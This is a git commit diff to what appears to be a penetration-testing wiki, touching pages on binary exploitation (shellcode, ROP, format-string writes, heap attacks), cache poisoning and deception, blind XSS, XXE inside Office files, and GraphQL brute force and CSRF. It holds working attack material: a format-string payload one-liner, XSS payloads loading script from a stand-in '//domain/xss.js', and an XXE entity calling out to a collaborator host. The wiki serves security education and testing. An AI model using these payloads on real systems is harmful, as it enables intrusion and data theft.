GitBook: [master] 10 pages and 4 assets modified
This commit is contained in:
CPol
gitbook-bot
parent
b38608ac6c
commit
53db995b86
Binary file not shown.
|
After Width: | Height: | Size: 1.5 KiB |
|
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 33 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 24 KiB |
|
|
@ -18,7 +18,7 @@ gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack ejemplo.c
|
|||
**Core file**
|
||||
ulimit -c unlimited
|
||||
gdb /exec core\_file
|
||||
/etc/security/limits.conf -> \* soft core unlimited
|
||||
/etc/security/limits.conf -> \* soft core unlimited
|
||||
|
||||
**Text
|
||||
Data
|
||||
|
|
@ -59,8 +59,6 @@ Para obtener la dirección de una función dentro de un programa se puede hacer:
|
|||
objdump -d ./PROGRAMA | grep FUNCION
|
||||
```
|
||||
|
||||
|
||||
|
||||
## ROP
|
||||
|
||||
### Call to sys\_execve
|
||||
|
|
@ -78,11 +76,11 @@ exit\(0\); // \_\_NR\_exit 1
|
|||
xor eax, eax ; limpiamos eax
|
||||
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar
|
||||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1
|
||||
int 0x80 ; Ejecutar syscall
|
||||
int 0x80 ; Ejecutar syscall
|
||||
|
||||
**nasm -f elf assembly.asm** —> Nos devuelve un .o
|
||||
**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump
|
||||
objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
|
||||
objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
|
||||
|
||||
**Comprobar que la shellcode funciona**
|
||||
|
||||
|
|
@ -122,8 +120,7 @@ call -0x24 ; Salto a la primera instru
|
|||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
|
||||
**EJ usando el Stack\(/bin/sh\):**
|
||||
|
||||
**EJ usando el Stack\(/bin/sh\):**
|
||||
|
||||
```text
|
||||
section .text
|
||||
|
|
@ -182,7 +179,7 @@ sc:
|
|||
;Aquí va el shellcode
|
||||
```
|
||||
|
||||
1. **Atacando el Frame Pointer \(EBP\)**
|
||||
1. **Atacando el Frame Pointer \(EBP\)**
|
||||
|
||||
Útil en una situación en la que podemos modificar el EBP pero no el EIP.
|
||||
|
||||
|
|
@ -232,7 +229,7 @@ De esta forma el EIP se sobreescribirá con la dirección de system la cual reci
|
|||
|
||||
Es posible encontrarse en la situación de que algún byte de alguna dirección de alguna función sea nulo o espacio \(\x20\). En ese caso se pueden desensamblar las direcciones anteriores a dicha función pues probablemente haya varios NOPs que nos permitan poder llamar a alguno de ellos en vez de a la función directamente \(por ejemplo con > x/8i system-4\).
|
||||
|
||||
Este método funciona pues al llamar a una función como system usando el opcode **ret** en vez de **call**, la función entiende que los primeros 4bytes serán la dirección **EIP** a la que volver.
|
||||
Este método funciona pues al llamar a una función como system usando el opcode **ret** en vez de **call**, la función entiende que los primeros 4bytes serán la dirección **EIP** a la que volver.
|
||||
|
||||
Una técnica interesante con este método es el llamar a **strncpy\(\)** para mover un payload del stack al heap y posteriormente usar **gets\(\)** para ejecutar dicho payload.
|
||||
|
||||
|
|
@ -249,9 +246,10 @@ De esta forma se pueden encadenar funciones a las que llamar. Además, si se qui
|
|||
|
||||
Consiste en aprovechar el poder manipular el EBP para ir encadenando la ejecución de varias funciones a través del EBP y de "leave;ret"
|
||||
|
||||
RELLENO
|
||||
+ Situamos en el EBP un EBP falso que apunta a: 2º EBP\_falso + la función a ejecutar: \(&system\(\) + &leave;ret + &“/bin/sh”\)
|
||||
+ En el EIP ponemos de dirección una función &\(leave;ret\)
|
||||
RELLENO
|
||||
|
||||
* Situamos en el EBP un EBP falso que apunta a: 2º EBP\_falso + la función a ejecutar: \(&system\(\) + &leave;ret + &“/bin/sh”\)
|
||||
* En el EIP ponemos de dirección una función &\(leave;ret\)
|
||||
|
||||
Iniciamos la shellcode con la dirección a la siguiente parte de la shellcode, por ej: 2ºEBP\_falso + &system\(\) + &\(leave;ret;\) + &”/bin/sh”
|
||||
|
||||
|
|
@ -273,7 +271,9 @@ El exploit quedaría: SHELLCODE + Relleno \(hasta EIP\) + **&ret** \(los siguien
|
|||
|
||||
Al parecer funciones como **strncpy** una vez completas eliminan de la pila la dirección donde estaba guardada la shellcode imposibilitando esta técnica. Es decir, la dirección que pasan a la función como argumento \(la que guarda la shellcode\) es modificada por un 0x00 por lo que al llamar al segundo **ret** se encuentra con un 0x00 y el programa muere.
|
||||
|
||||
**Ret2PopRet**
|
||||
```text
|
||||
**Ret2PopRet**
|
||||
```
|
||||
|
||||
Si no tenemos control sobre el primer argumento pero sí sobre el segundo o el tercero, podemos sobreescribir EIP con una dirección a pop-ret o pop-pop-ret, según la que necesitemos.
|
||||
|
||||
|
|
@ -420,9 +420,9 @@ If HOB < LOB
|
|||
If HOB > LOB
|
||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||||
|
||||
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
|
||||
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
|
||||
|
||||
### **Format String Exploit Template**
|
||||
|
||||
|
|
@ -441,8 +441,8 @@ objdump -s -j .fini_array ./greeting
|
|||
|
||||
Contents of section .fini_array:
|
||||
8049934 a0850408
|
||||
|
||||
#Put your address in 0x8049934
|
||||
|
||||
#Put your address in 0x8049934
|
||||
```
|
||||
|
||||
Note that this **won't** **create** an **eternal loop** because when you get back to main the canary will notice, the end of the stack might be corrupted and the function won't be recalled again. So with this you will be able to **have 1 more execution** of the vuln.
|
||||
|
|
@ -473,7 +473,7 @@ Nowadays is very **weird to find a binary with a dtor section**.
|
|||
{% endhint %}
|
||||
|
||||
The destructor are functions that are **executed before program finishes**.
|
||||
If you manage to **write** an **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.
|
||||
If you manage to **write** an **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.
|
||||
Get the address of this section with:
|
||||
|
||||
```bash
|
||||
|
|
@ -488,7 +488,7 @@ Usually you will find the **DTOR** section **between** the values `ffffffff` and
|
|||
Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.
|
||||
For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow.
|
||||
|
||||
### **\_\_atexit Structures**
|
||||
### **\_\_atexit Structures**
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nowadays is very **weird to exploit this**.
|
||||
|
|
@ -653,7 +653,7 @@ So what's the **bypass**? The typical bypass I use is to just don't write to mem
|
|||
Note that in order for this to happen the binary needs to know previous to execution the addresses to the functions:
|
||||
|
||||
* Lazy binding: The address of a function is searched the first time the function is called. So, the GOT needs to have write permissions during execution.
|
||||
* Bind now: The addresses of the functions are solved at the begginig of the execution, then read-only permissions are given to sensitive sections like .got, .dtors, .ctors, .dynamic, .jcr. ``**`-z relro`** `y` **`-z now`**
|
||||
* Bind now: The addresses of the functions are solved at the begginig of the execution, then read-only permissions are given to sensitive sections like .got, .dtors, .ctors, .dynamic, .jcr. ```**``-z relro`**`y`**`-z now\`\*\*
|
||||
|
||||
To check if a program uses Bind now you can do:
|
||||
|
||||
|
|
@ -663,8 +663,6 @@ readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
|||
|
||||
\*\*\*\*
|
||||
|
||||
|
||||
|
||||
Cuando el binario es cargado en memoria y una función es llamada por primera vez se salta a la PLT \(Procedure Linkage Table\), de aquí se realiza un salto \(jmp\) a la GOT y descubre que esa entrada no ha sido resuelta \(contiene una dirección siguiente de la PLT\). Por lo que invoca al Runtime Linker o rtfd para que resuelva la dirección y la guarde en la GOT.
|
||||
|
||||
Cuando se llama a una función se llama a la PLT, esta tiene la dirección de la GOT donde se almacena la dirección de la función, por lo que redirige el flujo allí y así se llama a la función. Sin embargo, si es la primera vez que se llama a la función, lo que hay en la GOT es la siguiente instrucción de la PLT, por lo tanto el flujo sigue el código de la PLT \(rtfd\) y averigua la dirección de la función, la guarda en la GOT y la llama.
|
||||
|
|
@ -673,7 +671,7 @@ Al cargar un binario en memoria el compilador le ha dicho en qué offset tiene q
|
|||
|
||||
Lazy binding —> La dirección de la función se busca la primera vez que se invoca dicha función, por lo que la GOT tiene permisos de escritura para que cuando se busque, se guarde ahí y no haya que volver a buscarla.
|
||||
|
||||
Bind now —> Las direcciones de las funciones se buscan al cargar el programa y se cambian los permisos de las secciones .got, .dtors, .ctors, .dynamic, .jcr a solo lectura. **-z relro** y **-z now**
|
||||
Bind now —> Las direcciones de las funciones se buscan al cargar el programa y se cambian los permisos de las secciones .got, .dtors, .ctors, .dynamic, .jcr a solo lectura. **-z relro** y **-z now**
|
||||
|
||||
A pesar de esto, en general los programas no están complicados con esas opciones luego estos ataques siguen siendo posibles.
|
||||
|
||||
|
|
@ -689,7 +687,7 @@ strcpy\(but, source\);
|
|||
|
||||
La identifica como insegura y entonces cambia strcpy\(\) por \_\_strcpy\_chk\(\) utilizando el tamaño del buffer como tamaño máximo a copiar.
|
||||
|
||||
La diferencia entre **=1** o **=2** es que:
|
||||
La diferencia entre **=1** o **=2** es que:
|
||||
|
||||
La segunda no permite que **%n** venga de una sección con permisos de escritura. Además el parámetro para acceso directo de argumentos solo puede ser usado si se usan los anteriores, es decir, solo se pueda usar **%3$d** si antes se ha usado **%2$d** y **%1$d**
|
||||
|
||||
|
|
@ -717,7 +715,7 @@ Para las funciones que usen el EBP como registro para apuntar a los argumentos a
|
|||
|
||||
#### **Jaulas con chroot\(\)**
|
||||
|
||||
debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico
|
||||
debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico
|
||||
|
||||
Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd ..
|
||||
|
||||
|
|
@ -732,16 +730,16 @@ Insure++
|
|||
|
||||
**Trozo asignado**
|
||||
|
||||
prev\_size \|
|
||||
size \| —Cabecera
|
||||
prev\_size \|
|
||||
size \| —Cabecera
|
||||
\*mem \| Datos
|
||||
|
||||
**Trozo libre**
|
||||
|
||||
prev\_size \|
|
||||
size \|
|
||||
\*fd \| Ptr forward chunk
|
||||
\*bk \| Ptr back chunk —Cabecera
|
||||
prev\_size \|
|
||||
size \|
|
||||
\*fd \| Ptr forward chunk
|
||||
\*bk \| Ptr back chunk —Cabecera
|
||||
\*mem \| Datos
|
||||
|
||||
Los trozos libres están en una lista doblemente enlazada \(bin\) y nunca pueden haber dos trozos libres juntos \(se juntan\)
|
||||
|
|
@ -948,7 +946,7 @@ Si modificamos el size para que de 16 en vez de 8 entonces: fastbin\_index\(\) n
|
|||
|
||||
Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET
|
||||
|
||||
Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0.
|
||||
Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0.
|
||||
|
||||
El **av->max\_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones.
|
||||
|
||||
|
|
@ -1004,7 +1002,7 @@ Es importante saber que el size del nuevo trozo wilderness sea más grande que l
|
|||
|
||||
Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado.
|
||||
|
||||
Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max\_fast \(72normalmente\) y menos a MIN\_LARGE\_SIZE \(512\).
|
||||
Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max\_fast \(72normalmente\) y menos a MIN\_LARGE\_SIZE \(512\).
|
||||
|
||||
Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo:
|
||||
|
||||
|
|
@ -1052,7 +1050,7 @@ Consiste en mediante reservas y liberaciones sementar la memoria de forma que qu
|
|||
|
||||
**objdump -d ejecutable** —> Disas functions
|
||||
**objdump -d ./PROGRAMA \| grep FUNCION** —> Get function address
|
||||
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
|
||||
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
|
||||
**objdump -t ./exec \| grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones
|
||||
**objdump -TR ./exec \| grep exit\(func lib\)** —> Para sacar address de funciones de librerías \(GOT\)
|
||||
**objdump -d ./exec \| grep funcCode
|
||||
|
|
|
|||
|
|
@ -60,7 +60,7 @@ def connect_binary():
|
|||
def send_payload(payload):
|
||||
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
|
||||
log.info("payload = %s" % repr(payload))
|
||||
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED. To mae it shorter consider changing the <num>c% for <num/4>x%")
|
||||
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
|
||||
P.sendline(payload)
|
||||
sleep(0.5)
|
||||
return P.recv()
|
||||
|
|
@ -86,7 +86,7 @@ def get_formatstring_config():
|
|||
if b"42424242" in recieved:
|
||||
log.info(f"Found offset ({offset}) and padlen ({padlen})")
|
||||
return offset, padlen
|
||||
|
||||
|
||||
else:
|
||||
connect_binary()
|
||||
payload = b" " + payload
|
||||
|
|
|
|||
|
|
@ -154,7 +154,7 @@ If you want to **know** about my **latest modifications**/**additions** or you h
|
|||
If you want to **share some tricks with the community** you can also submit **pull requests** to ****[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) ****that will be reflected in this book.
|
||||
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
|
||||
|
||||
|
||||
|
||||
|
||||
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*
|
||||
|
||||
|
|
|
|||
|
|
@ -18,7 +18,7 @@ If you want to **share some tricks with the community** you can also submit **pu
|
|||
|
||||
## 0- Physical Attacks
|
||||
|
||||
Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](physical-attacks/physical-attacks.md) and others about ****[**escaping from GUI applications**](physical-attacks/escaping-from-gui-applications/).
|
||||
Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](physical-attacks/physical-attacks.md) and others about **\*\*\[**escaping from GUI applications\*\*\]\(physical-attacks/escaping-from-gui-applications/\).
|
||||
|
||||
## 1 - [Discovering hosts inside the network ](pentesting/pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/)
|
||||
|
||||
|
|
|
|||
|
|
@ -9,7 +9,7 @@
|
|||
|
||||
## Cache Poisoning
|
||||
|
||||
The goal of poisoning the cache is to make the clients load unexpected resources partially or totally controlled by the attacker.
|
||||
The goal of poisoning the cache is to make the **clients load unexpected resources partially or totally controlled by the attacker**.
|
||||
The poisoned response will only be served to users who visit the affected page while the cache is poisoned. As a result, the impact can range from non-existent to massive depending on whether the page is popular or not.
|
||||
|
||||
In order to perform a cache poisoning attack you need first to **identify ukeyed inputs** \(parameters not needed to appear on the the cached request but that change the returned page\), see **how to abuse** this parameter and **get the response cached**.
|
||||
|
|
@ -91,9 +91,11 @@ Learn here about how to perform [Cache Poisoning attacks abusing HTTP Request Sm
|
|||
|
||||
## Cache Deception
|
||||
|
||||
The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.
|
||||
A very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).
|
||||
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
|
||||
|
||||
First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access w_ww.example.com/profile.php/nonexistent.js_ the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
|
||||
|
||||
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).
|
||||
In the example it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ \(**with the users sensitive information**\) is going to be returned and the cache server is going to save the result.
|
||||
Then, the **attacker** can access _http://www.example.com/home.php_ and see the **confidential information** of the users that accessed before.
|
||||
|
||||
|
|
|
|||
|
|
@ -837,6 +837,8 @@ There is **C2** dedicated to the **exploitation of Service Workers** called [**S
|
|||
|
||||
### Blind XSS payloads
|
||||
|
||||
You can also use: [https://xsshunter.com/](https://xsshunter.com/)
|
||||
|
||||
```markup
|
||||
"><img src='//domain/xss'>
|
||||
"><script src="//domain/xss.js"></script>
|
||||
|
|
|
|||
|
|
@ -295,6 +295,47 @@ Testing 0 entities : []
|
|||
Testing 0 entities : []
|
||||
```
|
||||
|
||||
### XXE via Office Open XML Parsers
|
||||
|
||||
\(Copied from [**here**](https://labs.detectify.com/2021/09/30/10-types-web-vulnerabilities-often-missed/)\)
|
||||
Many web applications allow you to upload Microsoft Office documents, and then they parse some details out of them. For example, you might have a web application that allows you to import data by uploading a spreadsheet in XLSX format. At some point, in order for the parser to extract the data from the Spreadsheet, the parser is going to need to **parse at least one XML file**.
|
||||
|
||||
The only way to test for this is to generate a **Microsoft Office file that contains an XXE payload**, so let’s do that. First, create an empty directory to unzip your document to, and unzip it!
|
||||
|
||||
```text
|
||||
test$ ls
|
||||
test.docx
|
||||
test$ mkdir unzipped
|
||||
test$ unzip ./test.docx -d ./unzipped/
|
||||
Archive: ./test.docx
|
||||
inflating: ./unzipped/word/numbering.xml
|
||||
inflating: ./unzipped/word/settings.xml
|
||||
inflating: ./unzipped/word/fontTable.xml
|
||||
inflating: ./unzipped/word/styles.xml
|
||||
inflating: ./unzipped/word/document.xml
|
||||
inflating: ./unzipped/word/_rels/document.xml.rels
|
||||
inflating: ./unzipped/_rels/.rels
|
||||
inflating: ./unzipped/word/theme/theme1.xml
|
||||
inflating: ./unzipped/[Content_Types].xml
|
||||
```
|
||||
|
||||
Open up `./unzipped/word/document.xml` in your favourite text editor \(vim\) and edit the **XML to contain your favourite XXE payload**. The first thing I try tends to be a HTTP request, like this:
|
||||
|
||||
```text
|
||||
<!DOCTYPE x [ <!ENTITY test SYSTEM "http://[ID].burpcollaborator.net/"> ]>
|
||||
<x>&test;</x>
|
||||
```
|
||||
|
||||
Those lines should be inserted in between the two root XML objects, like this, and of course you will need to replace the URL with a URL that you can monitor for requests:
|
||||
|
||||
|
||||
|
||||
All that is left is to **zip the file up to create your evil poc.docx file**. From the “unzipped” directory that we created earlier, run the following:
|
||||
|
||||
|
||||
|
||||
Now upload the file to your \(hopefully\) vulnerable web application and pray to the hacking gods for a request in your Burp Collaborator logs.
|
||||
|
||||
### Jar: protocol
|
||||
|
||||
The `jar` protocol is only available on **Java applications**. It allows to access files inside a **PKZIP** file \(`.zip`, `.jar`, ...\) and works for local and remote files:
|
||||
|
|
|
|||
|
|
@ -16,7 +16,7 @@ When performing your directory brute force attacks make sure to add the followin
|
|||
* _/graphql/console_
|
||||
|
||||
Once you find an open graphQL instance you need to know what queries it supports. This can be done by using the introspection system, more details can be found here: [**GraphQL: A query language for APIs.**
|
||||
_It’s often useful to ask a GraphQL schema for information about what queries it supports. GraphQL allows us to do so…_graphql.org](https://graphql.org/learn/introspection/)
|
||||
\_It’s often useful to ask a GraphQL schema for information about what queries it supports. GraphQL allows us to do so…\_graphql.org](https://graphql.org/learn/introspection/)
|
||||
|
||||
### Basic Enumeration
|
||||
|
||||
|
|
@ -74,7 +74,7 @@ Note that the type of the query "_flags_" is "_Flags_", and this object is defin
|
|||
|
||||
|
||||
|
||||
You can see that the "_Flags_" objects are composed by **name** and .**value** Then you can get all the names and values of the flags with the query:
|
||||
You can see that the "_Flags_" objects are composed by **name** and .**value** Then you can get all the names and values of the flags with the query:
|
||||
|
||||
```javascript
|
||||
query={flags{name, value}}
|
||||
|
|
@ -164,7 +164,7 @@ You can also **search several objects at the same time**. In this case, a search
|
|||
}r
|
||||
```
|
||||
|
||||
Or even **relations of several different objects using aliases**:
|
||||
Or even **relations of several different objects using aliases**:
|
||||
|
||||
```javascript
|
||||
{
|
||||
|
|
@ -242,7 +242,6 @@ mutation {
|
|||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
### Batching brute-force in 1 API request
|
||||
|
|
@ -254,8 +253,6 @@ Below you can find the simplest demonstration of an application authentication r
|
|||
|
||||
|
||||
|
||||
|
||||
|
||||
As we can see from the response screenshot, the first and the third requests returned _null_ and reflected the corresponding information in the _error_ section. The **second mutation had the correct authentication** data and the response has the correct authentication session token.
|
||||
|
||||
|
||||
|
|
@ -268,7 +265,7 @@ If you don't know what CSRF is read the following page:
|
|||
|
||||
Out there you are going to be able to find several GraphQL endpoints **configured without CSRF tokens.**
|
||||
|
||||
Note that GraphQL request are usually sent via POST requests using the Content-Type **`application/json`**.
|
||||
Note that GraphQL request are usually sent via POST requests using the Content-Type **`application/json`**.
|
||||
|
||||
```javascript
|
||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||
|
|
@ -282,7 +279,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
|||
|
||||
Therefore, as CSRF requests like the previous ones are sent **without preflight requests**, it's possible to **perform** **changes** in the GraphQL abusing a CSRF.
|
||||
|
||||
However, note that the new default cookie value of the `samesite` flag of Chrome is `Lax`. This means that the cookie will only be sent from a third party web in GET requests.
|
||||
However, note that the new default cookie value of the `samesite` flag of Chrome is `Lax`. This means that the cookie will only be sent from a third party web in GET requests.
|
||||
|
||||
Note that it's usually possible to send the **query** **request** also as a **GET** **request and the CSRF token might not being validated in a GET request.**
|
||||
|
||||
|
|
@ -294,23 +291,23 @@ For more information **check the** [**original post here**](https://blog.doyense
|
|||
|
||||
### Clients
|
||||
|
||||
{% embed url="https://github.com/graphql/graphiql" %}
|
||||
{% embed url="https://github.com/graphql/graphiql" caption="" %}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/GraphQLmap" %}
|
||||
{% embed url="https://github.com/swisskyrepo/GraphQLmap" caption="" %}
|
||||
|
||||
{% embed url="https://altair.sirmuel.design/" %}
|
||||
{% embed url="https://altair.sirmuel.design/" caption="" %}
|
||||
|
||||
{% embed url="https://blog.doyensec.com/2020/03/26/graphql-scanner.html" %}
|
||||
{% embed url="https://blog.doyensec.com/2020/03/26/graphql-scanner.html" caption="" %}
|
||||
|
||||
{% embed url="https://github.com/doyensec/inql" %}
|
||||
{% embed url="https://github.com/doyensec/inql" caption="" %}
|
||||
|
||||
{% embed url="https://altair.sirmuel.design/" %}
|
||||
{% embed url="https://altair.sirmuel.design/" caption="" %}
|
||||
|
||||
{% embed url="https://gitlab.com/dee-see/graphql-path-enum" %}
|
||||
{% embed url="https://gitlab.com/dee-see/graphql-path-enum" caption="" %}
|
||||
|
||||
### Automatic Tests
|
||||
|
||||
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
|
||||
{% embed url="https://graphql-dashboard.herokuapp.com/" caption="" %}
|
||||
|
||||
* Video explaining AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
||||
|
||||
|
|
|
|||
|
|
@ -402,7 +402,7 @@ If you don't execute this from a Domain Controller, ATA is going to catch you, s
|
|||
* [Python script to enumerate active directory](https://github.com/ropnop/windapsearch)
|
||||
* [Python script to enumerate active directory](https://github.com/CroweCybersecurity/ad-ldap-enum)
|
||||
|
||||
|
||||
|
||||
|
||||
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)
|
||||
|
||||
|
|
|
|||
|
|
@ -126,7 +126,7 @@ If you want to **know** about my **latest modifications**/**additions** or you h
|
|||
If you want to **share some tricks with the community** you can also submit **pull requests** to ****[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) ****that will be reflected in this book.
|
||||
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
|
||||
|
||||
|
||||
|
||||
|
||||
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*
|
||||
|
||||
|
|
|
|||
Loading…
Reference in New Issue